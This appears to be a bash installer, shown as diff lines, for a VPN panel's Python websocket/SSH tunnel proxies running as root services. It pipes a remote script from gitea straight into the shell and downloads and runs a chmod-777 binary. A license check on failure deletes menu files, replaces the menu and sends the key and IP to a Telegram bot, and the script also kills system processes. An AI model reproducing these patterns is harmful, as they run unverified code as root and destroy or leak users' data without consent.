+ +clear + +[[ ! -e ${_Key} ]] && exit + +clear +function chekKEY { +[[ -z ${IP} ]] && IP=$(mip) +[[ -z ${IP} ]] && IP=$(wget -qO- ifconfig.me) +Key="$(cat /etc/cghkey)" +_double=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT") +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT +_double=$(cat < /file) +} +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +[[ -z ${_check2} ]] && { +mss_='\n BotGEN NO AUTORIZADO POR @drowkid01 ' +cat </bin/menu +clear && clear +echo -e "\n\n\033[1;31m==================================================\n �� �253 KEY BANEADA �253 ! CONTACTE Su ADMINISTRADOR! \n==================================================\n �� FECHA DE BANEO :$(date +%d/%m/%Y) HORA :$(date +%H:%M:%S) \n==================================================\n\n�� ${mss_} \n\n==================================================\n" +echo -e " \e[1;32m --- SI CONSIDERA QUE FUE UN ERROR --- " | pv -qL 60 +echo -e " \e[1;32m -- ${mss_} -- " | pv -qL 60 +echo -e "\n \e[1;93m --- TECLEA \e[1;93m --- \e[1;97mcgh -fix\e[1;93m --- " | pv -qL 50 +echo -e "\n\033[1;31m==================================================\n\n" +#echo "/etc/adm-lite/menu" > /bin/menu && chmod +x /bin/menu +EOF + +rm -f /etc/folteto +rm -f /etc/adm-lite/menu* + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" INSECTO DETECTADO EN Sock Python\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" Key : ${Key}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" HORA : $(printf '%(%D-%H:%M:%S)T')\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot ADMcgh de keyS ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} + +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/module) +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg +source msg +msg -bar3 +ADM_inst="/etc/adm-lite" && [[ ! -d ${ADM_inst} ]] && exit +system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/ //') +vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2) +echo -e "ESPERE UN MOMENTO MIENTRAS FIXEAMOS SU SISTEMA " + +fun_upgrade() { + sync + echo 3 >/proc/sys/vm/drop_caches + sync && sysctl -w vm.drop_caches=3 + sysctl -w vm.drop_caches=0 + swapoff -a + swapon -a +sudo apt install software-properties-common -y &> /dev/null +apt install python2 -y &> /dev/null +sudo update-alternatives --install /usr/bin/python python /usr/bin/python2 1 &> /dev/null + rm -rf /tmp/* > /dev/null 2>&1 + killall kswapd0 > /dev/null 2>&1 + killall tcpdump > /dev/null 2>&1 + killall ksoftirqd > /dev/null 2>&1 + echo > /etc/fixpython +} + +function aguarde() { + sleep .1 + echo -e "SU VERSION DE UBUNTU ${vercion} ES SUPERIOR A 18.04 " + helice() { + fun_upgrade >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m OPTIMIZANDO Y \033[1;32mFIXEANDO \033[1;37mPYTHON \033[1;32m.\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + +[[ "${vercion}" > "20" ]] && { +echo -e "" +msg -bar3 +[[ -e /etc/fixpython ]] || aguarde +} || { +echo + [[ -e /etc/fixpython ]] || { + echo -e " SU VERSION DE UBUNTU ${vercion} ES INFERIOR O 18.04 " + apt-get install python -y &>/dev/null + apt-get install python3 -y &>/dev/null + touch /etc/fixpython + } +} + +clear + +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + +stop_all () { +_ps="$(ps x)" + ck_py=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep "python") + [[ -z ${ck_py} ]] && ck_py=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep "WS-Epro") + if [[ -z $(echo "$ck_py" | awk '{print $1}' | head -n 1) ]]; then + print_center -verm "Puertos PYTHON no encontrados" + msg -bar3 + else + ck_port=$(echo "$ck_py" | awk '{print $9}' | awk -F ":" '{print $2}') + [[ -z ${ck_port} ]] && ck_port=$(echo -e "${_ps}" | grep PDirect | grep -v grep | awk '{print $7}') + for i in $ck_port; do + kill -9 $(echo -e "${_ps}"| grep PDirect | grep -v grep | head -n 1 | awk '{print $1}') &>/dev/null + systemctl stop python.${i} &>/dev/null + systemctl disable python.${i} &>/dev/null + rm -f /etc/systemd/system/python.${i}.service + rm -f /etc/adm-lite/PDirect + done + for pidproxy in $(screen -ls | grep ".ws" | awk {'print $1'}); do + screen -r -S "$pidproxy" -X quit + done + [[ $(grep -wc "PDirect.py" /bin/autoboot) != '0' ]] && { + sed -i '/PDirect/d' /bin/autoboot + sed -i '/python/d' /bin/autoboot + } + rm -f /etc/adm-lite/PDirect + screen -wipe &>/dev/null + kill -9 $(echo -e "${_ps}" | grep -w python | grep -v grep | awk '{print $1}') &>/dev/null + print_center -verd "Puertos PYTHON detenidos" + msg -bar3 + fi + sleep 0.5 + } + +stop_port () { + sleep 0.5 + clear + STPY="$(mportas | grep python| awk '{print $2}')" + STPY+=" $(mportas |grep WS-Epro| awk '{print $2}')" + msg -bar3 + print_center -ama "DETENER UN PUERTO" + msg -bar3 + n=1 + for i in $STPY; do + echo -e " \033[1;32m[$n] \033[1;31m> \033[1;37m$i\033[0m" + pypr[$n]=$i + let n++ + done + + msg -bar3 + echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra "\033[1;41mVOLVER" + msg -bar3 + echo -ne "\033[1;37m opcion: " && read prpy + tput cuu1 && tput dl1 + + [[ $prpy = "0" ]] && return + systemctl stop python.${pypr[$prpy]} &>/dev/null + systemctl disable python.${pypr[$prpy]} &>/dev/null + rm /etc/systemd/system/python.${pypr[$prpy]}.service &>/dev/null + sed -i "/ws${pypr[$prpy]}/d" /bin/autoboot &>/dev/null + kill -9 $(echo -e "${_ps}"| grep -w "ws${pypr[$prpy]}" | grep -v grep | head -n 1 | awk '{print $1}') &>/dev/null + kill $(echo -e "${_ps}"| grep -w "${pypr[$prpy]}" | grep -v grep | awk '{print $1}') &>/dev/null + sed -i '/PDirect${pypr[$prpy]}/d' /bin/autoboot + screen -wipe &>/dev/null + print_center -verd "PUERTO PYTHON ${pypr[$prpy]} RETIRADO" + msg -bar3 + sleep 0.5 + } + +colector(){ +conect="$1" + clear + msg -bar3 + print_center -azu " Puerto Principal, para Proxy Directo" + msg -bar3 + +while [[ -z $porta_socket ]]; do + echo -ne "\033[1;37m Digite el Puerto: " && read porta_socket + porta_socket=$(echo ${porta_socket}|sed 's/[^0-9]//g') + tput cuu1 && tput dl1 + + [[ $(mportas|grep -w "${porta_socket}") = "" ]] && { + echo -e "\033[1;33m Puerto python:\033[1;32m ${porta_socket} VALIDO" + msg -bar3 + } || { + echo -e "\033[1;33m Puerto python:\033[1;31m ${porta_socket} OCUPADO" && sleep 1 + tput cuu1 && tput dl1 + unset porta_socket + } + done + + if [[ $conect = "PDirect" ]]; then + print_center -azu " Puerto Local SSH/DROPBEAR/OPENVPN" + msg -bar3 + + while [[ -z $local ]]; do + echo -ne "\033[1;97m Digite el Puerto: \033[0m" && read local + local=$(echo ${local}|sed 's/[^0-9]//g') + tput cuu1 && tput dl1 + + [[ $(mportas|grep -w "${local}") = "" ]] && { + echo -e "\033[1;33m Puerto local:\033[1;31m ${local} NO EXISTE" && sleep 1 + tput cuu1 && tput dl1 + unset local + } || { + echo -e "\033[1;33m Puerto local:\033[1;32m ${local} VALIDO" + msg -bar3 + tput cuu1 && tput dl1 + } + done + msg -bar3 +echo -e " Respuesta de Encabezado (101,200,484,500,etc) \033[1;37m" +msg -bar3 + print_center -azu "Response personalizado (enter por defecto 200)" + print_center -ama "NOTA : Para OVER WEBSOCKET escribe (101)" + msg -bar3 + echo -ne "\033[1;97m ENCABEZADO : \033[0m" && read response + response=$(echo ${response}|sed 's/[^0-9]//g') + tput cuu1 && tput dl1 + if [[ -z $response ]]; then + response="200" + echo -e "\033[1;33m CABECERA :\033[1;32m ${response} VALIDA" + else + echo -e "\033[1;33m CABECERA :\033[1;32m ${response} VALIDA" + fi + msg -bar3 + fi + + if [[ ! $conect = "PGet" ]] && [[ ! $conect = "POpen" ]]; then + print_center -azu "Introdusca su Mini-Banner" + msg -bar3 + print_center -azu "Introduzca un texto [NORMAL] o en [HTML]" + echo -ne "-> : " + read texto_soket + fi + + if [[ $conect = "PPriv" ]]; then + py="python3" + IP=$(fun_ip) + elif [[ $conect = "PGet" ]]; then + echo "master=ChumoGH" > ${ADM_tmp}/pwd.pwd + while read service; do + [[ -z $service ]] && break + echo "127.0.0.1:$(echo $service|cut -d' ' -f2)=$(echo $service|cut -d' ' -f1)" >> ${ADM_tmp}/pwd.pwd + done <<< "$(mportas)" + porta_bind="0.0.0.0:$porta_socket" + pass_file="${ADM_tmp}/pwd.pwd" + py="python" + else + py="python" + fi +[[ -z ${texto_soket} ]] && texto_soket='ChumoGHPlus' + +mod1() { +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +msg -ama " BINARIO OFICIAL DE Epro Dev Team " +sleep 2s && tput cuu1 && tput dl1 +[[ -e /etc/adm-lite/PDirect ]] && { +echo -e "[Unit] +Description=WS-Epro Service by @drowkid01 +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart=/bin/WS-Epro -salome -listen :${porta_socket} -ssh 127.0.0.1:${local} -f /etc/adm-lite/PDirect +Restart=always +RestartSec=3s + +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/python.$porta_socket.service +} || { +echo "# verbose level 0=info, 1=verbose, 2=very verbose +verbose: 0 +listen: +- target_host: 127.0.0.1 + target_port: ${local} + listen_port: ${porta_socket}" > /etc/adm-lite/PDirect + +echo -e "[Unit] +Description=WS-Epro Service by @drowkid01 +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart=/bin/WS-Epro -f /etc/adm-lite/PDirect +Restart=always +RestartSec=3s + +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/python.$porta_socket.service +} + systemctl enable python.$porta_socket &>/dev/null + systemctl start python.$porta_socket &>/dev/null + + if [[ $conect = "PGet" ]]; then + [[ "$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}')" ]] && { + print_center -verd "Gettunel Iniciado com Exito" + print_center -azu "Su Contrase�a Gettunel es: $(msg -ama "ChumoGH")" + msg -bar3 + } || { + print_center -verm2 "Gettunel no fue iniciado" + msg -bar3 + } + fi + } + + mod2() { + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 +texto="$(echo ${texto_soket} | sed 's/\"//g')" +#texto_soket="$(echo $texto|sed 'y/áÁàÂ54ãÒâÀ32é� 30ê�`íÍóÀ34õ� 22ôÀ35ú�añÀ30ç� 21ªº/aAaAaAaAeEeEiIoOoOoOuUnNcCao/')" +[[ ! -z $porta_bind ]] && conf=" 80 " || conf="$porta_socket " + #[[ ! -z $pass_file ]] && conf+="-p $pass_file" + #[[ ! -z $local ]] && conf+="-l $local " + #[[ ! -z $response ]] && conf+="-r $response " + #[[ ! -z $IP ]] && conf+="-i $IP " + [[ ! -z $texto_soket ]] && conf+=" '$texto_soket'" +cp ${ADM_inst}/$1.py $HOME/PDirect.py +systemctl stop python.${porta_socket} &>/dev/null +systemctl disable python.${porta_socket} &>/dev/null +rm -f /etc/systemd/system/python.${porta_socket}.service &>/dev/null +#================================================================ +( +less << PYTHON > ${ADM_inst}/PDirect.py +#!/usr/bin/env python +# encoding: utf-8 +import socket, threading, thread, select, signal, sys, time, getopt + +# Listen +LISTENING_ADDR = '0.0.0.0' +if sys.argv[1:]: + LISTENING_PORT = sys.argv[1] +else: + LISTENING_PORT = 80 +#Pass +PASS = '' +# CONST +BUFLEN = 4096 * 4 +TIMEOUT = 60 +DEFAULT_HOST = '127.0.0.1:$local' +MSG = '$texto' +STATUS_RESP = '$response' +FTAG = '\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 Connection established\r\n\r\n' + +if STATUS_RESP == '101': + STATUS_TXT = 'Web Socket Protocol' +else: + STATUS_TXT = 'Connection established' + +RESPONSE = "HTTP/1.1 " + str(STATUS_RESP) + ' ' + str(STATUS_TXT) + ' ' + str(MSG) + ' ' + str(FTAG) + + +class Server(threading.Thread): + def __init__(self, host, port): + threading.Thread.__init__(self) + self.running = False + self.host = host + self.port = port + self.threads = [] + self.threadsLock = threading.Lock() + self.logLock = threading.Lock() + + def run(self): + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + intport = int(self.port) + self.soc.bind((self.host, intport)) + self.soc.listen(0) + self.running = True + + try: + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + except socket.timeout: + continue + + conn = ConnectionHandler(c, self, addr) + conn.start() + self.addConn(conn) + finally: + self.running = False + self.soc.close() + + def printLog(self, log): + self.logLock.acquire() + print log + self.logLock.release() + + def addConn(self, conn): + try: + self.threadsLock.acquire() + if self.running: + self.threads.append(conn) + finally: + self.threadsLock.release() + + def removeConn(self, conn): + try: + self.threadsLock.acquire() + self.threads.remove(conn) + finally: + self.threadsLock.release() + + def close(self): + try: + self.running = False + self.threadsLock.acquire() + + threads = list(self.threads) + for c in threads: + c.close() + finally: + self.threadsLock.release() + + +class ConnectionHandler(threading.Thread): + def __init__(self, socClient, server, addr): + threading.Thread.__init__(self) + self.clientClosed = False + self.targetClosed = True + self.client = socClient + self.client_buffer = '' + self.server = server + self.log = 'Connection: ' + str(addr) + + def close(self): + try: + if not self.clientClosed: + self.client.shutdown(socket.SHUT_RDWR) + self.client.close() + except: + pass + finally: + self.clientClosed = True + + try: + if not self.targetClosed: + self.target.shutdown(socket.SHUT_RDWR) + self.target.close() + except: + pass + finally: + self.targetClosed = True + + def run(self): + try: + self.client_buffer = self.client.recv(BUFLEN) + + hostPort = self.findHeader(self.client_buffer, 'X-Real-Host') + + if hostPort == '': + hostPort = DEFAULT_HOST + + split = self.findHeader(self.client_buffer, 'X-Split') + + if split != '': + self.client.recv(BUFLEN) + + if hostPort != '': + passwd = self.findHeader(self.client_buffer, 'X-Pass') + + if len(PASS) != 0 and passwd == PASS: + self.method_CONNECT(hostPort) + elif len(PASS) != 0 and passwd != PASS: + self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n') + elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'): + self.method_CONNECT(hostPort) + else: + self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n') + else: + print '- No X-Real-Host!' + self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n') + + except Exception as e: + self.log += ' - error: ' + e.strerror + self.server.printLog(self.log) + pass + finally: + self.close() + self.server.removeConn(self) + + def findHeader(self, head, header): + aux = head.find(header + ': ') + + if aux == -1: + return '' + + aux = head.find(':', aux) + head = head[aux+2:] + aux = head.find('\r\n') + + if aux == -1: + return '' + + return head[:aux]; + + def connect_target(self, host): + i = host.find(':') + if i != -1: + port = int(host[i+1:]) + host = host[:i] + else: + if self.method=='CONNECT': + port = 22 + else: + port = sys.argv[1] + + (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0] + + self.target = socket.socket(soc_family, soc_type, proto) + self.targetClosed = False + self.target.connect(address) + + def method_CONNECT(self, path): + self.log += ' - CONNECT ' + path + + self.connect_target(path) + self.client.sendall(RESPONSE) + self.client_buffer = '' + + self.server.printLog(self.log) + self.doCONNECT() + + def doCONNECT(self): + socs = [self.client, self.target] + count = 0 + error = False + while True: + count += 1 + (recv, _, err) = select.select(socs, [], socs, 3) + if err: + error = True + if recv: + for in_ in recv: + try: + data = in_.recv(BUFLEN) + if data: + if in_ is self.target: + self.client.send(data) + else: + while data: + byte = self.target.send(data) + data = data[byte:] + + count = 0 + else: + break + except: + error = True + break + if count == TIMEOUT: + error = True + if error: + break + + +def print_usage(): + print 'Usage: proxy.py -p ' + print ' proxy.py -b -p ' + print ' proxy.py -b 0.0.0.0 -p 80' + +def parse_args(argv): + global LISTENING_ADDR + global LISTENING_PORT + + try: + opts, args = getopt.getopt(argv,"hb:p:",["bind=","port="]) + except getopt.GetoptError: + print_usage() + sys.exit(2) + for opt, arg in opts: + if opt == '-h': + print_usage() + sys.exit() + elif opt in ("-b", "--bind"): + LISTENING_ADDR = arg + elif opt in ("-p", "--port"): + LISTENING_PORT = int(arg) + + +def main(host=LISTENING_ADDR, port=LISTENING_PORT): + + print "\033[0;34m�01"*8,"\033[1;32m PROXY PYTHON WEBSOCKET","\033[0;34m�01"*8,"\n" + print "\033[1;33mIP:\033[1;32m " + LISTENING_ADDR + print "\033[1;33mPORTA:\033[1;32m " + str(LISTENING_PORT) + "\n" + print "\033[0;34m�01"*10,"\033[1;32m ChumoGH ADM - LITE","\033[0;34m�01\033[1;37m"*11,"\n" + + + server = Server(LISTENING_ADDR, LISTENING_PORT) + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print 'Parando...' + server.close() + break + +if __name__ == '__main__': + parse_args(sys.argv[1:]) + main() +PYTHON +) > $HOME/proxy.log + +msg -bar3 +#systemctl start $py.$porta_socket &>/dev/null +chmod +x ${ADM_inst}/$1.py + +echo -e "[Unit] +Description=$1 Parametizado Service by @drowkid01 +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart=/usr/bin/$py ${ADM_inst}/${1}.py $conf +Restart=always +RestartSec=3s + +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/python.$porta_socket.service +systemctl enable python.$porta_socket &>/dev/null +systemctl start python.$porta_socket &>/dev/null +[[ -e $HOME/$1.py ]] && echo -e "\n\n Fichero Alojado en : ${ADM_inst}/$1.py \n\n Respaldo alojado en : $HOME/$1.py \n" +#================================================================ +[[ -e /etc/systemd/system/python.$porta_socket.service ]] && { +msg -bar3 +print_center -verd " INICIANDO SOCK Python Puerto ${porta_socket} " +sleep 1s && tput cuu1 && tput dl1 +} || { +print_center -azu " FALTA ALGUN PARAMETRO PARA INICIAR" +sleep 1s && tput cuu1 && tput dl1 +return +} +[[ ! -e /bin/ejecutar/PortPD.log ]] && echo -e "${conf}" > /bin/ejecutar/PortPD.log +} + + mod3() { + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 +texto="$(echo ${texto_soket} | sed 's/\"//g')" +[[ ! -z $porta_bind ]] && conf=" 80 " || conf="$porta_socket " +[[ ! -z $texto_soket ]] && conf+=" '$texto_soket'" +cp ${ADM_inst}/$1.py $HOME/PDirect.py +systemctl stop python.${porta_socket} &>/dev/null +systemctl disable python.${porta_socket} &>/dev/null +rm -f /etc/systemd/system/python.${porta_socket}.service &>/dev/null +#================================================================ +less << PYTHON > ${ADM_inst}/PDirect.py +#!/usr/bin/env python +# encoding: utf-8 +import socket, threading, thread, select, signal, sys, time, getopt + +# Listen +LISTENING_ADDR = '0.0.0.0' +if sys.argv[1:]: + LISTENING_PORT = sys.argv[1] +else: + LISTENING_PORT = 80 +#Pass +PASS = '' +# CONST +BUFLEN = 4096 * 4 +TIMEOUT = 60 +DEFAULT_HOST = '127.0.0.1:$local' +MSG = '$texto' +STATUS_RESP = '$response' +FTAG = '\r\nContent-length: 0\r\n\r\nHTTP/1.1 $STATUS_RESP Connection established\r\n\r\n' + +if STATUS_RESP == '101': + STATUS_TXT = 'Web Socket Protocol' +else: + STATUS_TXT = 'Connection established' + +#RESPONSE = "HTTP/1.1 " + str(STATUS_RESP) + ' ' + str(STATUS_TXT) + ' ' + str(MSG) + ' ' + str(FTAG) +RESPONSE = "HTTP/1.1 " + str(STATUS_RESP) + ' ' + str(MSG) + ' ' + str(FTAG) + + +class Server(threading.Thread): + def __init__(self, host, port): + threading.Thread.__init__(self) + self.running = False + self.host = host + self.port = port + self.threads = [] + self.threadsLock = threading.Lock() + self.logLock = threading.Lock() + + def run(self): + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + intport = int(self.port) + self.soc.bind((self.host, intport)) + self.soc.listen(0) + self.running = True + + try: + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + except socket.timeout: + continue + + conn = ConnectionHandler(c, self, addr) + conn.start() + self.addConn(conn) + finally: + self.running = False + self.soc.close() + + def printLog(self, log): + self.logLock.acquire() + print log + self.logLock.release() + + def addConn(self, conn): + try: + self.threadsLock.acquire() + if self.running: + self.threads.append(conn) + finally: + self.threadsLock.release() + + def removeConn(self, conn): + try: + self.threadsLock.acquire() + self.threads.remove(conn) + finally: + self.threadsLock.release() + + def close(self): + try: + self.running = False + self.threadsLock.acquire() + + threads = list(self.threads) + for c in threads: + c.close() + finally: + self.threadsLock.release() + + +class ConnectionHandler(threading.Thread): + def __init__(self, socClient, server, addr): + threading.Thread.__init__(self) + self.clientClosed = False + self.targetClosed = True + self.client = socClient + self.client_buffer = '' + self.server = server + self.log = 'Connection: ' + str(addr) + + def close(self): + try: + if not self.clientClosed: + self.client.shutdown(socket.SHUT_RDWR) + self.client.close() + except: + pass + finally: + self.clientClosed = True + + try: + if not self.targetClosed: + self.target.shutdown(socket.SHUT_RDWR) + self.target.close() + except: + pass + finally: + self.targetClosed = True + + def run(self): + try: + self.client_buffer = self.client.recv(BUFLEN) + + hostPort = self.findHeader(self.client_buffer, 'X-Real-Host') + + if hostPort == '': + hostPort = DEFAULT_HOST + + split = self.findHeader(self.client_buffer, 'X-Split') + + if split != '': + self.client.recv(BUFLEN) + + if hostPort != '': + passwd = self.findHeader(self.client_buffer, 'X-Pass') + + if len(PASS) != 0 and passwd == PASS: + self.method_CONNECT(hostPort) + elif len(PASS) != 0 and passwd != PASS: + self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n') + elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'): + self.method_CONNECT(hostPort) + else: + self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n') + else: + print '- No X-Real-Host!' + self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n') + + except Exception as e: + self.log += ' - error: ' + e.strerror + self.server.printLog(self.log) + pass + finally: + self.close() + self.server.removeConn(self) + + def findHeader(self, head, header): + aux = head.find(header + ': ') + + if aux == -1: + return '' + + aux = head.find(':', aux) + head = head[aux+2:] + aux = head.find('\r\n') + + if aux == -1: + return '' + + return head[:aux]; + + def connect_target(self, host): + i = host.find(':') + if i != -1: + port = int(host[i+1:]) + host = host[:i] + else: + if self.method=='CONNECT': + port = 22 + else: + port = sys.argv[1] + + (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0] + + self.target = socket.socket(soc_family, soc_type, proto) + self.targetClosed = False + self.target.connect(address) + + def method_CONNECT(self, path): + self.log += ' - CONNECT ' + path + + self.connect_target(path) + self.client.sendall(RESPONSE) + self.client_buffer = '' + + self.server.printLog(self.log) + self.doCONNECT() + + def doCONNECT(self): + socs = [self.client, self.target] + count = 0 + error = False + while True: + count += 1 + (recv, _, err) = select.select(socs, [], socs, 3) + if err: + error = True + if recv: + for in_ in recv: + try: + data = in_.recv(BUFLEN) + if data: + if in_ is self.target: + self.client.send(data) + else: + while data: + byte = self.target.send(data) + data = data[byte:] + + count = 0 + else: + break + except: + error = True + break + if count == TIMEOUT: + error = True + if error: + break + + +def print_usage(): + print 'Usage: proxy.py -p ' + print ' proxy.py -b -p ' + print ' proxy.py -b 0.0.0.0 -p 80' + +def parse_args(argv): + global LISTENING_ADDR + global LISTENING_PORT + + try: + opts, args = getopt.getopt(argv,"hb:p:",["bind=","port="]) + except getopt.GetoptError: + print_usage() + sys.exit(2) + for opt, arg in opts: + if opt == '-h': + print_usage() + sys.exit() + elif opt in ("-b", "--bind"): + LISTENING_ADDR = arg + elif opt in ("-p", "--port"): + LISTENING_PORT = int(arg) + + +def main(host=LISTENING_ADDR, port=LISTENING_PORT): + + print "\033[0;34m�01"*8,"\033[1;32m PROXY PYTHON WEBSOCKET","\033[0;34m%01"*8,"\n" + print "\033[1;33mIP:\033[1;32m " + LISTENING_ADDR + print "\033[1;33mPORTA:\033[1;32m " + str(LISTENING_PORT) + "\n" + print "\033[0;34m�01"*10,"\033[1;32m ChumoGH ADMcgh Plus","\033[0;34m�01\033[1;37m"*11,"\n" + + server = Server(LISTENING_ADDR, LISTENING_PORT) + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print 'Parando...' + server.close() + break + +if __name__ == '__main__': + parse_args(sys.argv[1:]) + main() +PYTHON +msg -bar3 +chmod +x ${ADM_inst}/$1.py +tput cuu1 && tput dl1 +screen -dmS ws$porta_socket python ${ADM_inst}/PDirect.py ${porta_socket} & > /root/proxy.log +print_center -verd " ${aLerT} VERIFICANDO ACTIVIDAD DE SOCK PYTHON ${aLerT} \n ${aLerT} PORVAFOR ESPERE !! ${aLerT} " +sleep 2s && tput cuu1 && tput dl1 +sleep 1s && tput cuu1 && tput dl1 +[[ -e $HOME/$1.py ]] && echo -e "\n\n Fichero Alojado en : ${ADM_inst}/$1.py \n\n Respaldo alojado en : $HOME/$1.py \n" +#================================================================ +[[ $(ps x | grep "ws$porta_socket python" |grep -v grep ) ]] && { +msg -bar3 +print_center -verd " REACTIVADOR DE SOCK Python ${porta_socket} ENCENDIDO " +[[ $(grep -wc "ws$porta_socket" /bin/autoboot) = '0' ]] && { + echo -e "netstat -tlpn | grep -w $porta_socket > /dev/null || { screen -r -S 'ws$porta_socket' -X quit; screen -dmS ws$porta_socket python ${ADM_inst}/$1.py ${porta_socket} & >> /root/proxy.log ; }" >>/bin/autoboot + } || { + sed -i '/ws${porta_socket}/d' /bin/autoboot + echo -e "netstat -tlpn | grep -w $porta_socket > /dev/null || { screen -r -S 'ws$porta_socket' -X quit; screen -dmS ws$porta_socket python ${ADM_inst}/$1.py ${porta_socket} & >> /root/proxy.log ; }" >>/bin/autoboot + } +sleep 2s && tput cuu1 && tput dl1 +} || { +print_center -azu " FALTA ALGUN PARAMETRO PARA INICIAR REACTIVADOR " +sleep 2s && tput cuu1 && tput dl1 +return +} +[[ ! -e /bin/ejecutar/PortPD.log ]] && echo -e "${conf}" > /bin/ejecutar/PortPD.log +} + +#-----------SELECCION------------ +selecPython () { +msg -bar3 +menu_func "Socks WS OFICIAL ( SCREEM )" "$(msg -ama "Socks WS BETA ( SYSTEM )")" "$(msg -verm2 "Socks WS/Proxy (EPro)( SYSTEM )")" +msg -bar3 +echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra " \033[1;41m VOLVER \033[0m" +msg -bar3 +selection=$(selection_fun 3) +case ${selection} in + 1) + mod3 "${conect}" + sleep 2s + ;; + 2) + mod2 "${conect}" + sleep 2s + ;; + 3) + [[ $(uname -m 2> /dev/null) != x86_64 ]] && { + msg -ama " BINARIO NO COMPATIBLE CON ARM64 " + read -p "PRESIONE ENTER PARA RETORNAR" + exit + } || { + if wget -O /bin/WS-Epro https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/binarios/SockWS/autoStart &>/dev/null ; then + chmod 777 /bin/WS-Epro + fi + mod1 "${conect}" + sleep 2s + } + ;; + 0) return 1;; +esac +return 1 +} +#-----------FIN SELECCION-------- +selecPython +tput cuu1 && tput dl1 + msg -bar3 + [[ $(ps x | grep "PDirect" | grep -v "grep" | awk -F "pts" '{print $1}') ]] && print_center -verd "PYTHON INICIADO CON EXITO!!!" || print_center -ama " ERROR AL INICIAR PYTHON!!!" + msg -bar3 + sleep 1 +} + 